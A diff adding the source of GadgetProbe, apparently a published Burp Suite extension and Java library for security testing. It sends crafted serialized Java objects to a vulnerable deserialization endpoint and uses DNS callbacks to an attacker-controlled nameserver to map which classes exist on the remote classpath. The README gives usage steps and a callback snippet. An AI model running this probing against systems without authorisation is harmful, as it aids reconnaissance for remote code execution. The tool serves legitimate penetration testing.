diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..edfe829 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.gradle/ +build/ +out/ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..0e35fec --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 BishopFox + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..17a04e8 --- /dev/null +++ b/README.md @@ -0,0 +1,76 @@ +

+ +

+ +# + + + +![License](https://img.shields.io/badge/license-MIT-lightgrey.svg) +![Python version](https://img.shields.io/badge/java-8%2b-blue.svg) + +## Description + +You just found a Java deserialization bug, you ran all your ysoserial payloads, and.... you got nothing. What now? How can you debug or build a gadget chain if you're totally blind? + +Introducing GadgetProbe, a tool that shines a light on remote classpaths and raises bug severity for all! + +GadgetProbe takes a wordlist of Java classes, outputs serialized DNS callback objects, and reports what's lurking in the remote classpath. + +### Burp Extension Usage + +The Burp extension automatically integrates with Burp Collaborator to handle DNS callbacks. The extension also includes signatures and an analyzer to identify library versions of popular sources for gadgets. + +Download the [release](https://github.com/BishopFox/GadgetProbe/releases/) or follow the [build instructions](#building-from-source) below. + +After loading the Burp extension: + +1. Send the vulnerable request to intruder, highlighting the vulnerable parameter. + +![gif](assets/intruder1.gif) + +2\. Add a list of Java classes (see included wordlists) + +![gif](assets/intruder2.gif) + +3\. Add the GadgetProbe payload processor, and any other required processors in your chain (e.g., Base64 encode). + +![gif](assets/intruder3.gif) + +4\. Run the intruder attack and watch the results come back in the GadgetProbe Burp Tab. + +![gif](assets/intruder4.gif) + + +### GadgetProbe Java Library Usage + +GadgetProbe can also be used as a Java library or CLI for specialized attacks. + +```java +import com.bishopfox.gadgetprobe.GadgetProbe +... +// Call the GadgetProbe constructor with your authoritative nameserver (or use Burp collaborator). +GadgetProbe gp = new GadgetProbe("dnscallback.burpcollaborator.net"); +// The crafted object "obj" is now ready to be sent using any custom implementation :) +Object obj = gp.getObject("org.apache.commons.collections.functors.invokertransformer"); + +``` + +### Building from Source +```bash +# Build JAR (run first) +./gradlew shadowJar + +# Build wordlists +./generate_wordlists.sh +``` + +### How it works + +See my [write-up](https://know.bishopfox.com/research/gadgetprobe) on the Bishop Fox blog. + +### Author + +Twitter: [@BumbleSec](https://twitter.com/theBumbleSec) + +GitHub: [the-bumble](https://github.com/the-bumble/) diff --git a/assets/GadgetProbe.svg b/assets/GadgetProbe.svg new file mode 100644 index 0000000..decd076 --- /dev/null +++ b/assets/GadgetProbe.svg @@ -0,0 +1,131 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/intruder1.gif b/assets/intruder1.gif new file mode 100644 index 0000000..0de6373 Binary files /dev/null and b/assets/intruder1.gif differ diff --git a/assets/intruder2.gif b/assets/intruder2.gif new file mode 100644 index 0000000..6a87041 Binary files /dev/null and b/assets/intruder2.gif differ diff --git a/assets/intruder3.gif b/assets/intruder3.gif new file mode 100644 index 0000000..27c1284 Binary files /dev/null and b/assets/intruder3.gif differ diff --git a/assets/intruder4.gif b/assets/intruder4.gif new file mode 100644 index 0000000..75ac066 Binary files /dev/null and b/assets/intruder4.gif differ diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000..414cc5f --- /dev/null +++ b/build.gradle @@ -0,0 +1,29 @@ +plugins { + id 'java' + id 'application' + id 'com.github.johnrengelman.shadow' version '2.0.4' +} + +mainClassName = 'com.bishopfox.gadgetprobe.GadgetProbe' + +group 'com.bishopfox' +version '1.0-SNAPSHOT' + +sourceCompatibility = 1.8 +targetCompatibility = 1.8 + +repositories { + mavenCentral() +} + +dependencies { + + // Burp Extension + compile group: 'org.json', name: 'json', version: '20190722' + compile group: 'net.portswigger.burp.extender', name: 'burp-extender-api', version: '2.1' + + // GadgetProbe + compile group: 'com.nqzero', name: 'permit-reflect', version: '0.4' + compile group: 'org.javassist', name: 'javassist', version: '3.26.0-GA' + compile group: 'com.intellij', name: 'forms_rt', version: '7.0.3' +} \ No newline at end of file diff --git a/generate_wordlists.sh b/generate_wordlists.sh new file mode 100755 index 0000000..f49ca9f --- /dev/null +++ b/generate_wordlists.sh @@ -0,0 +1,4 @@ +#!/bin/bash +set -e +java -jar build/libs/GadgetProbe-1.0-SNAPSHOT-all.jar > wordlists/gadgetprobe_analyzer_classes.list +curl "https://raw.githubusercontent.com/FasterXML/jackson-databind/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java" | sed -n -e 's/^\s*s.add("\(.*\)");/\1/p' > wordlists/FasterXML_blacklist.list diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..94336fc Binary files /dev/null and b/gradle/wrapper/gradle-wrapper.jar differ diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..752e0c3 --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,6 @@ +#Sat Jan 11 00:17:55 EST 2020 +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-4.10.3-all.zip diff --git a/gradlew b/gradlew new file mode 100755 index 0000000..cccdd3d --- /dev/null +++ b/gradlew @@ -0,0 +1,172 @@ +#!/usr/bin/env sh + +############################################################################## +## +## Gradle start up script for UN*X +## +############################################################################## + +# Attempt to set APP_HOME +# Resolve links: $0 may be a link +PRG="$0" +# Need this for relative symlinks. +while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS="" + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn () { + echo "$*" +} + +die () { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; + NONSTOP* ) + nonstop=true + ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin, switch paths to Windows format before running java +if $cygwin ; then + APP_HOME=`cygpath --path --mixed "$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=$((i+1)) + done + case $i in + (0) set -- ;; + (1) set -- "$args0" ;; + (2) set -- "$args0" "$args1" ;; + (3) set -- "$args0" "$args1" "$args2" ;; + (4) set -- "$args0" "$args1" "$args2" "$args3" ;; + (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Escape application args +save () { + for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done + echo " " +} +APP_ARGS=$(save "$@") + +# Collect all arguments for the java command, following the shell quoting and substitution rules +eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" + +# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong +if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then + cd "$(dirname "$0")" +fi + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000..e95643d --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,84 @@ +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS= + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto init + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto init + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:init +@rem Get command-line arguments, handling Windows variants + +if not "%OS%" == "Windows_NT" goto win9xME_args + +:win9xME_args +@rem Slurp the command line arguments. +set CMD_LINE_ARGS= +set _SKIP=2 + +:win9xME_args_slurp +if "x%~1" == "x" goto execute + +set CMD_LINE_ARGS=%* + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000..57d312b --- /dev/null +++ b/settings.gradle @@ -0,0 +1,2 @@ +rootProject.name = 'GadgetProbe' + diff --git a/src/main/java/burp/Analyzer.java b/src/main/java/burp/Analyzer.java new file mode 100644 index 0000000..4e0b59f --- /dev/null +++ b/src/main/java/burp/Analyzer.java @@ -0,0 +1,61 @@ +package burp; + +import burp.Signatures.*; + +import java.lang.reflect.InvocationTargetException; +import java.util.Set; + +public class Analyzer { + private static Class[] checks = new Class[] { + Bsh.class, + C3p0.class, + Clojure.class, + CommonsCollections4.class, + CommonsCollections3.class, + CommonsIO2.class, + Groovy239.class, + HibernateCore.class, + Javassist.class, + SpringCore.class + }; + + public static String Analyze(Set found, Set notFound) { + StringBuilder sb = new StringBuilder(); + + for (int i = 0; i < checks.length; i++) { + Signature s = null; + try { + s = (Signature) (checks[i].getConstructor(new Class[]{Set.class, Set.class}).newInstance(found, notFound)); + } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + } + sb.append(s.getResult()); + } + + return sb.toString(); + } + + public static String getWordlist() { + StringBuilder sb = new StringBuilder(); + + for (int i = 0; i < checks.length; i++) { + Signature s = null; + try { + s = (Signature) (checks[i].getConstructor(new Class[]{Set.class, Set.class}).newInstance(null, null)); + } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + } + String[] classnames = s.getSignatures(); + for (int j = 0; j < classnames.length; j++) { + if (classnames[j].length() > 0) { + sb.append(classnames[j]); + sb.append("\n"); + } + } + } + sb.delete(sb.length() - 1, sb.length()); + + return sb.toString(); + } + +} diff --git a/src/main/java/burp/BurpExtender.java b/src/main/java/burp/BurpExtender.java new file mode 100644 index 0000000..d85f8f7 --- /dev/null +++ b/src/main/java/burp/BurpExtender.java @@ -0,0 +1,249 @@ +package burp; + +import java.awt.Component; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.io.*; + +import com.bishopfox.gadgetprobe.GadgetProbe; +import org.json.*; + + +import javax.swing.JPanel; +import javax.swing.SwingUtilities; + +import static java.util.concurrent.TimeUnit.MILLISECONDS; +import static java.util.concurrent.TimeUnit.SECONDS; + +public class BurpExtender implements IBurpExtender, ActionListener, IIntruderPayloadProcessor, IExtensionStateListener, ITab { + private IExtensionHelpers helpers; + private IBurpExtenderCallbacks callbacks; + + private PrintWriter stdout; + private PrintWriter stderr; + + private IBurpCollaboratorClientContext collaboratorContext; + + private InteractionServer interactionServer; + + private String currentCollaboratorLocation; + private boolean currentCollaboratorPollOverUnenecryptedHttp; + private String currentCollaboratorPollingLocation; + private String currentCollaboratorType; + + private JPanel mainPanel; + private BurpGui guiManager; + + + public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) { + + + // obtain an extension helpers object + helpers = callbacks.getHelpers(); + this.callbacks = callbacks; + + + // set our extension name + callbacks.setExtensionName("GadgetProbe"); + + // register ourselves as an Intruder payload processor + callbacks.registerIntruderPayloadProcessor(this); + + //register to get extension state changes + callbacks.registerExtensionStateListener(this); + + // Initialize stdout and stderr + stdout = new PrintWriter(callbacks.getStdout(), true); + stderr = new PrintWriter(callbacks.getStderr(), true); + + stdout.println("GadgetProbe Initialized!"); + stdout.println("Learn more: https://github.com/BishopFox/GadgetProbe"); + stdout.println(""); + + initializeCurrentCollaboratorVariables(); + + if(!(currentCollaboratorType.equals("none"))) { + collaboratorContext = callbacks.createBurpCollaboratorClientContext(); + } else { + collaboratorContext = null; + } + guiManager = new BurpGui(); + guiManager.setupListeners(this::actionPerformed); + + + interactionServer = new InteractionServer(callbacks, collaboratorContext, guiManager); + + interactionServer.start(); + + SwingUtilities.invokeLater(new Runnable() { + + @Override + public void run() { + + mainPanel = (JPanel) guiManager.$$$getRootComponent$$$(); + callbacks.customizeUiComponent(mainPanel); + callbacks.addSuiteTab(BurpExtender.this); + } + + }); + + } + + + @Override + public String getProcessorName() + { + return "ClassName to GadgetProbe"; + } + + private byte[] convertToBytes(Object object) throws IOException { + try (ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutput out = new ObjectOutputStream(bos)) { + out.writeObject(object); + return bos.toByteArray(); + } + } + + @Override + public byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue) + { + GadgetProbe gp = InteractionServer.getGadgetProbe(); + String className = helpers.bytesToString(currentPayload); + + Object obj = null; + try { + obj = gp.getObject(className); + } catch (SecurityException e) { + String msg = "Error: Class name is in protected package. Most likely a typo: " + className; + stderr.println(msg); + guiManager.consolePrintln(msg); + return currentPayload; + } + if (obj != null) { + try { + guiManager.addClassNotFound(className); + return convertToBytes(obj); + } catch (IOException e) { + e.printStackTrace(); + } + } else { + String msg = "Error: Class name contains unsupported characters: " + className; + stderr.println(msg); + guiManager.consolePrintln(msg); + } + return currentPayload; + } + + + public void initializeCurrentCollaboratorVariables() { + + String collaboratorOption = callbacks.saveConfigAsJson("project_options.misc.collaborator_server"); + JSONObject rootJsonObject = new JSONObject(collaboratorOption); + currentCollaboratorLocation = rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("location"); + currentCollaboratorPollOverUnenecryptedHttp = rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getBoolean("poll_over_unencrypted_http"); + currentCollaboratorPollingLocation = rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("polling_location"); + currentCollaboratorType = rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("type"); + + } + + public boolean isCollaboratorChanged() { + + String collaboratorOption = callbacks.saveConfigAsJson("project_options.misc.collaborator_server"); + JSONObject rootJsonObject = new JSONObject(collaboratorOption); + + if(!(currentCollaboratorLocation.equals(rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("location"))) || + !(currentCollaboratorPollOverUnenecryptedHttp == rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getBoolean("poll_over_unencrypted_http")) || + !(currentCollaboratorPollingLocation.equals(rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("polling_location"))) || + !(currentCollaboratorType.equals(rootJsonObject.getJSONObject("project_options").getJSONObject("misc").getJSONObject("collaborator_server").getString("type"))) ) { + return true; + } else { + return false; + } + + } + + public void checkCollaboratorChanges() { + if(isCollaboratorChanged()) { + + initializeCurrentCollaboratorVariables(); + + if(!(currentCollaboratorType.equals("none"))) { + + stdout.println("Collaborator location changed! Setting a new collaborator context to the polling thread!"); + collaboratorContext = callbacks.createBurpCollaboratorClientContext(); + interactionServer.setCollaboratorContext(collaboratorContext); + + } else { + collaboratorContext = null; + stdout.println("Collaborator disabled!"); + + } + + } + + } + + public void actionPerformed(ActionEvent event) { + String command = event.getActionCommand(); + + if(command.equals("enableDisablePolling")) { + if(guiManager.isPollingEnabled()) { + interactionServer.resumeThread(); + } else { + interactionServer.pause(); + } + } + else if(command.equals("pollNow")) { + interactionServer.pollNow(); + interactionServer.interrupt(); + } + else if(command.equals("refreshDNS")) { + interactionServer.reset(); + } + else if(command.equals("clearConsole")) { + guiManager.clearConsole(); + } + else if(command.equals("detectLibraryVersion")) { + String output = Analyzer.Analyze(guiManager.getClassesFound(), guiManager.getClassesNotFound()); + guiManager.consolePrintln(output); + } + else if(command.equals("reset")) { + guiManager.reset(); + interactionServer.reset(); + } + else if(command.startsWith("KEY_TYPED")) { + try { + long pollingInterval = MILLISECONDS.convert(Integer.parseInt(command.split(",")[1]), SECONDS); + if (pollingInterval > 60000) { + guiManager.consolePrintln("Refusing to set interval longer than 60 seconds"); + } else { + interactionServer.setPollingMilliseconds((int) pollingInterval); + } + + } catch(NumberFormatException e){ + guiManager.consolePrintln("ERROR: Invalid Polling Interval"); + } + } + else { + guiManager.consolePrintln("ERROR: COMMAND NOT REGISTERED: " + command); + } + } + + public void extensionUnloaded() { + + stdout.println("Stopping thread of Collaborator interaction server"); + interactionServer.setGoOn(false); + + } + + @Override + public String getTabCaption() { + return "GadgetProbe"; + } + + @Override + public Component getUiComponent() { + return mainPanel; + } + +} diff --git a/src/main/java/burp/BurpGui.form b/src/main/java/burp/BurpGui.form new file mode 100644 index 0000000..0f94446 --- /dev/null +++ b/src/main/java/burp/BurpGui.form @@ -0,0 +1,227 @@ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/main/java/burp/BurpGui.java b/src/main/java/burp/BurpGui.java new file mode 100644 index 0000000..c5fa9bf --- /dev/null +++ b/src/main/java/burp/BurpGui.java @@ -0,0 +1,330 @@ +package burp; + +import com.intellij.uiDesigner.core.GridConstraints; +import com.intellij.uiDesigner.core.GridLayoutManager; +import com.intellij.uiDesigner.core.Spacer; + +import javax.swing.*; +import java.awt.*; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.StringSelection; +import java.awt.event.*; +import java.util.*; + + +public class BurpGui { + private JPanel mainPanel; + private JPanel classPanel; + private JPanel optionsPanel; + private JCheckBox enablePollingCheckBox; + private JButton detectLibraryVersionsButton; + private JButton clearHistoryAndResetButton; + private JPanel PollingOption; + private JTextArea consoleOutput; + private JList classesFoundList; + private JList classesNotFoundList; + private JFormattedTextField pollingIntervalSeconds; + private JButton pollNow; + private JButton clearConsole; + private JButton refreshDNS; + private TreeSet classesFound = new TreeSet<>(String.CASE_INSENSITIVE_ORDER); + private TreeMap classesNotFound = new TreeMap<>(String.CASE_INSENSITIVE_ORDER); + private JListRenderer cellRenderer; + + { +// GUI initializer generated by IntelliJ IDEA GUI Designer +// >>> IMPORTANT!! <<< +// DO NOT EDIT OR ADD ANY CODE HERE! + $$$setupUI$$$(); + } + + /** + * Method generated by IntelliJ IDEA GUI Designer + * >>> IMPORTANT!! <<< + * DO NOT edit this method OR call it in your code! + * + * @noinspection ALL + */ + private void $$$setupUI$$$() { + mainPanel = new JPanel(); + mainPanel.setLayout(new GridLayoutManager(2, 1, new Insets(16, 16, 16, 16), -1, -1)); + mainPanel.setFocusable(false); + classPanel = new JPanel(); + classPanel.setLayout(new GridLayoutManager(2, 3, new Insets(0, 0, 0, 0), 0, 0)); + classPanel.setFocusable(false); + mainPanel.add(classPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(-1, 256), null, null, 0, false)); + final JScrollPane scrollPane1 = new JScrollPane(); + scrollPane1.setEnabled(true); + scrollPane1.setFocusable(false); + classPanel.add(scrollPane1, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(128, -1), null, null, 0, false)); + classesFoundList = new JList(); + scrollPane1.setViewportView(classesFoundList); + final JScrollPane scrollPane2 = new JScrollPane(); + scrollPane2.setFocusable(false); + classPanel.add(scrollPane2, new GridConstraints(1, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(128, -1), null, null, 0, false)); + classesNotFoundList = new JList(); + classesNotFoundList.setEnabled(true); + classesNotFoundList.setFocusCycleRoot(false); + scrollPane2.setViewportView(classesNotFoundList); + final JLabel label1 = new JLabel(); + label1.setFocusable(true); + Font label1Font = this.$$$getFont$$$(null, Font.BOLD, -1, label1.getFont()); + if (label1Font != null) label1.setFont(label1Font); + label1.setText("Classes Found:"); + classPanel.add(label1, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final JLabel label2 = new JLabel(); + Font label2Font = this.$$$getFont$$$(null, Font.BOLD, -1, label2.getFont()); + if (label2Font != null) label2.setFont(label2Font); + label2.setText("Classes not Found:"); + classPanel.add(label2, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + optionsPanel = new JPanel(); + optionsPanel.setLayout(new GridLayoutManager(8, 2, new Insets(0, 0, 0, 0), -1, -1)); + mainPanel.add(optionsPanel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, new Dimension(-1, 256), null, new Dimension(-1, 256), 0, true)); + final JScrollPane scrollPane3 = new JScrollPane(); + scrollPane3.setAutoscrolls(true); + optionsPanel.add(scrollPane3, new GridConstraints(0, 1, 8, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, new Dimension(128, -1), null, new Dimension(-1, 256), 0, false)); + consoleOutput = new JTextArea(); + consoleOutput.setAutoscrolls(true); + consoleOutput.setEditable(false); + consoleOutput.setLineWrap(true); + consoleOutput.setRows(10); + consoleOutput.setText(""); + consoleOutput.setWrapStyleWord(true); + scrollPane3.setViewportView(consoleOutput); + enablePollingCheckBox = new JCheckBox(); + enablePollingCheckBox.setActionCommand("enableDisablePolling"); + enablePollingCheckBox.setEnabled(true); + enablePollingCheckBox.setSelected(true); + enablePollingCheckBox.setText("Enable Polling"); + optionsPanel.add(enablePollingCheckBox, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_NORTHWEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + detectLibraryVersionsButton = new JButton(); + detectLibraryVersionsButton.setActionCommand("detectLibraryVersion"); + detectLibraryVersionsButton.setText("Detect Library Versions"); + detectLibraryVersionsButton.setToolTipText("Detect library versions uses the bundled wordlists to try and identify library versions on the remote classpath"); + optionsPanel.add(detectLibraryVersionsButton, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + clearHistoryAndResetButton = new JButton(); + clearHistoryAndResetButton.setActionCommand("reset"); + clearHistoryAndResetButton.setText("Reset Extension"); + clearHistoryAndResetButton.setToolTipText("Reset will create a new collaborator interaction endpoint and no longer listen for incoming interactions on the previous endpoint. Class lists and the output will be cleared, as well."); + optionsPanel.add(clearHistoryAndResetButton, new GridConstraints(6, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | 